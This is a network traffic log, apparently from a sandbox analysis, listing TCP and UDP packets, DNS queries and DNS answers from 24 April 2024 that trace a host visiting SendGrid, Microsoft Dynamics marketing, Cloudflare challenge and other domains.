Apr 24, 2024 08:22:38.606664896 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.607106924 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.607180119 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.988073111 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.042721033 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.430979013 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.431062937 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.432729006 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.441042900 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.441421986 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.441433907 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.484193087 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.495893002 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.846118927 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.846304893 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:39.846486092 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.847464085 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:39.847527027 CEST	443	49824	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:41.012253046 CEST	49704	80	192.168.2.6	199.232.214.172
Apr 24, 2024 08:22:41.197211027 CEST	80	49704	199.232.214.172	192.168.2.6
Apr 24, 2024 08:22:41.208087921 CEST	80	49704	199.232.214.172	192.168.2.6
Apr 24, 2024 08:22:41.208157063 CEST	49704	80	192.168.2.6	199.232.214.172
Apr 24, 2024 08:22:43.792676926 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:22:43.792690039 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:22:45.780742884 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:45.780787945 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:45.784514904 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:45.787040949 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:45.787062883 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.119693995 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.120214939 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:46.120280981 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.120779037 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.121563911 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:46.121654034 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.124784946 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:46.168159962 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.873112917 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.873388052 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:46.873409033 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.873440981 CEST	443	49825	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:46.873471022 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:46.873501062 CEST	49825	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:51.182899952 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.182935953 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.183005095 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.183733940 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.183748007 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.858910084 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.858989954 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.861510992 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.861521959 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.862282038 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.864167929 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.864372015 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.864377022 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:51.864574909 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:51.908119917 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:52.084238052 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:52.084460974 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:52.084523916 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:52.084675074 CEST	49826	443	192.168.2.6	20.7.1.246
Apr 24, 2024 08:22:52.084697008 CEST	443	49826	20.7.1.246	192.168.2.6
Apr 24, 2024 08:22:58.875623941 CEST	49769	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:22:58.875828028 CEST	443	49769	151.101.66.137	192.168.2.6
Apr 24, 2024 08:22:58.875905037 CEST	49769	443	192.168.2.6	151.101.66.137

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 08:21:08.547961950 CEST	53	64559	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:08.555006027 CEST	53	57628	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:09.537544012 CEST	53	62122	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:10.289514065 CEST	52783	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:10.289926052 CEST	58079	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:10.385088921 CEST	63653	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:10.385483027 CEST	56066	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:10.450364113 CEST	53	58079	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:10.451324940 CEST	53	52783	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:10.538712025 CEST	53	56066	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:10.538738012 CEST	53	63653	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:11.357825041 CEST	56934	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:11.358264923 CEST	53354	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:18.882031918 CEST	63374	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:18.882266998 CEST	59421	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:18.927087069 CEST	64919	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:18.927259922 CEST	55301	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:21.178051949 CEST	58810	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:21.178051949 CEST	55363	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:26.534730911 CEST	53	51473	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:31.676600933 CEST	56374	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:31.676898956 CEST	61164	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:31.901223898 CEST	53	56374	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:31.901242971 CEST	53	61164	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:33.068026066 CEST	50307	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:33.068159103 CEST	53105	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:33.068571091 CEST	57021	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:33.068802118 CEST	51097	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:33.221828938 CEST	53	53105	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:33.222517014 CEST	53	50307	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:33.222966909 CEST	53	57021	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:33.224263906 CEST	53	51097	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:34.968481064 CEST	59621	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:34.968791008 CEST	53722	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:35.122092009 CEST	53	59621	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:35.122577906 CEST	53	53722	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:36.627420902 CEST	58190	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:36.627854109 CEST	64933	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:36.781291962 CEST	53	58190	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:36.782016993 CEST	53	64933	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:37.651480913 CEST	63505	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:37.651664972 CEST	60319	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:37.805167913 CEST	53	63505	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:37.806020021 CEST	53	60319	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:45.321598053 CEST	53	62599	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:58.453974009 CEST	58497	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:58.454257011 CEST	58597	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:21:58.608457088 CEST	53	58497	1.1.1.1	192.168.2.6
Apr 24, 2024 08:21:58.608673096 CEST	53	58597	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:00.755395889 CEST	52752	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:00.755799055 CEST	63902	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:00.756565094 CEST	60012	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:00.756750107 CEST	58367	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:00.910013914 CEST	53	60012	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:00.910063982 CEST	53	58367	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:01.034806013 CEST	53	63902	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:01.035595894 CEST	53	52752	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:03.468786001 CEST	53	53367	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:03.470921040 CEST	53	63659	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:07.878900051 CEST	53	61593	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:08.528147936 CEST	53	57531	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:36.617804050 CEST	53	53602	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:37.666125059 CEST	54025	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:37.666266918 CEST	61292	53	192.168.2.6	1.1.1.1
Apr 24, 2024 08:22:37.819611073 CEST	53	54025	1.1.1.1	192.168.2.6
Apr 24, 2024 08:22:37.820224047 CEST	53	61292	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 08:21:10.289514065 CEST	192.168.2.6	1.1.1.1	0xdc88	Standard query (0)	u44056869.ct.sendgrid.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.289926052 CEST	192.168.2.6	1.1.1.1	0x2aa	Standard query (0)	u44056869.ct.sendgrid.net	65	IN (0x0001)	false
Apr 24, 2024 08:21:10.385088921 CEST	192.168.2.6	1.1.1.1	0x16f7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.385483027 CEST	192.168.2.6	1.1.1.1	0x150c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:11.357825041 CEST	192.168.2.6	1.1.1.1	0xb0d3	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:11.358264923 CEST	192.168.2.6	1.1.1.1	0xad30	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:18.882031918 CEST	192.168.2.6	1.1.1.1	0x695a	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:18.882266998 CEST	192.168.2.6	1.1.1.1	0x61a3	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:18.927087069 CEST	192.168.2.6	1.1.1.1	0x8709	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:18.927259922 CEST	192.168.2.6	1.1.1.1	0xd278	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:21.178051949 CEST	192.168.2.6	1.1.1.1	0xf371	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:21.178051949 CEST	192.168.2.6	1.1.1.1	0x3c2e	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:31.676600933 CEST	192.168.2.6	1.1.1.1	0x1d35	Standard query (0)	o5u7g.zleu9.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:31.676898956 CEST	192.168.2.6	1.1.1.1	0xd6ac	Standard query (0)	o5u7g.zleu9.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:33.068026066 CEST	192.168.2.6	1.1.1.1	0x9c88	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.068159103 CEST	192.168.2.6	1.1.1.1	0xaa10	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:33.068571091 CEST	192.168.2.6	1.1.1.1	0xf3fb	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.068802118 CEST	192.168.2.6	1.1.1.1	0xa59c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:34.968481064 CEST	192.168.2.6	1.1.1.1	0xb97a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:34.968791008 CEST	192.168.2.6	1.1.1.1	0xe6be	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:36.627420902 CEST	192.168.2.6	1.1.1.1	0x81cb	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:36.627854109 CEST	192.168.2.6	1.1.1.1	0x779c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:37.651480913 CEST	192.168.2.6	1.1.1.1	0x54c1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:37.651664972 CEST	192.168.2.6	1.1.1.1	0xc27f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 08:21:58.453974009 CEST	192.168.2.6	1.1.1.1	0xd7fb	Standard query (0)	o5u7g.zleu9.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:58.454257011 CEST	192.168.2.6	1.1.1.1	0x2f4	Standard query (0)	o5u7g.zleu9.com	65	IN (0x0001)	false
Apr 24, 2024 08:22:00.755395889 CEST	192.168.2.6	1.1.1.1	0xe0b	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.755799055 CEST	192.168.2.6	1.1.1.1	0x20bf	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Apr 24, 2024 08:22:00.756565094 CEST	192.168.2.6	1.1.1.1	0x7e3a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.756750107 CEST	192.168.2.6	1.1.1.1	0x48db	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 08:22:37.666125059 CEST	192.168.2.6	1.1.1.1	0x2f93	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:37.666266918 CEST	192.168.2.6	1.1.1.1	0x7b1a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.115.54	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.123.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.115.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.123.16	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.123.122	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.451324940 CEST	1.1.1.1	192.168.2.6	0xdc88	No error (0)	u44056869.ct.sendgrid.net		167.89.115.121	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538712025 CEST	1.1.1.1	192.168.2.6	0x150c	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:10.538738012 CEST	1.1.1.1	192.168.2.6	0x16f7	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:11.535878897 CEST	1.1.1.1	192.168.2.6	0xad30	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:11.542321920 CEST	1.1.1.1	192.168.2.6	0xb0d3	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:11.542321920 CEST	1.1.1.1	192.168.2.6	0xb0d3	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:11.542321920 CEST	1.1.1.1	192.168.2.6	0xb0d3	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:11.542321920 CEST	1.1.1.1	192.168.2.6	0xb0d3	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:13.104567051 CEST	1.1.1.1	192.168.2.6	0x68b2	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:13.104567051 CEST	1.1.1.1	192.168.2.6	0x68b2	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:13.104567051 CEST	1.1.1.1	192.168.2.6	0x68b2	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.079104900 CEST	1.1.1.1	192.168.2.6	0xbdcc	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.079104900 CEST	1.1.1.1	192.168.2.6	0xbdcc	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.079104900 CEST	1.1.1.1	192.168.2.6	0xbdcc	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.081196070 CEST	1.1.1.1	192.168.2.6	0xd278	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.081739902 CEST	1.1.1.1	192.168.2.6	0x8709	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.081739902 CEST	1.1.1.1	192.168.2.6	0x8709	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.081739902 CEST	1.1.1.1	192.168.2.6	0x8709	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.081739902 CEST	1.1.1.1	192.168.2.6	0x8709	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.084351063 CEST	1.1.1.1	192.168.2.6	0x695a	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.084351063 CEST	1.1.1.1	192.168.2.6	0x695a	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.084351063 CEST	1.1.1.1	192.168.2.6	0x695a	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:19.088097095 CEST	1.1.1.1	192.168.2.6	0x61a3	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:19.088097095 CEST	1.1.1.1	192.168.2.6	0x61a3	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:21.332901001 CEST	1.1.1.1	192.168.2.6	0x3c2e	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:21.332901001 CEST	1.1.1.1	192.168.2.6	0x3c2e	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:21.332974911 CEST	1.1.1.1	192.168.2.6	0xf371	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:21.332974911 CEST	1.1.1.1	192.168.2.6	0xf371	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:21:21.332974911 CEST	1.1.1.1	192.168.2.6	0xf371	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:31.901223898 CEST	1.1.1.1	192.168.2.6	0x1d35	No error (0)	o5u7g.zleu9.com		172.67.143.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:31.901223898 CEST	1.1.1.1	192.168.2.6	0x1d35	No error (0)	o5u7g.zleu9.com		104.21.27.247	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:31.901242971 CEST	1.1.1.1	192.168.2.6	0xd6ac	No error (0)	o5u7g.zleu9.com			65	IN (0x0001)	false
Apr 24, 2024 08:21:33.222517014 CEST	1.1.1.1	192.168.2.6	0x9c88	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.222517014 CEST	1.1.1.1	192.168.2.6	0x9c88	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.222517014 CEST	1.1.1.1	192.168.2.6	0x9c88	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.222517014 CEST	1.1.1.1	192.168.2.6	0x9c88	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.222966909 CEST	1.1.1.1	192.168.2.6	0xf3fb	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.222966909 CEST	1.1.1.1	192.168.2.6	0xf3fb	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:33.224263906 CEST	1.1.1.1	192.168.2.6	0xa59c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 08:21:35.122092009 CEST	1.1.1.1	192.168.2.6	0xb97a	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:35.122092009 CEST	1.1.1.1	192.168.2.6	0xb97a	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:35.122577906 CEST	1.1.1.1	192.168.2.6	0xe6be	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 08:21:36.781291962 CEST	1.1.1.1	192.168.2.6	0x81cb	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:36.781291962 CEST	1.1.1.1	192.168.2.6	0x81cb	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:36.782016993 CEST	1.1.1.1	192.168.2.6	0x779c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 08:21:37.805167913 CEST	1.1.1.1	192.168.2.6	0x54c1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:58.608457088 CEST	1.1.1.1	192.168.2.6	0xd7fb	No error (0)	o5u7g.zleu9.com		172.67.143.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:58.608457088 CEST	1.1.1.1	192.168.2.6	0xd7fb	No error (0)	o5u7g.zleu9.com		104.21.27.247	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:21:58.608673096 CEST	1.1.1.1	192.168.2.6	0x2f4	No error (0)	o5u7g.zleu9.com			65	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910013914 CEST	1.1.1.1	192.168.2.6	0x7e3a	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:00.910063982 CEST	1.1.1.1	192.168.2.6	0x48db	No error (0)	www.google.com			65	IN (0x0001)	false
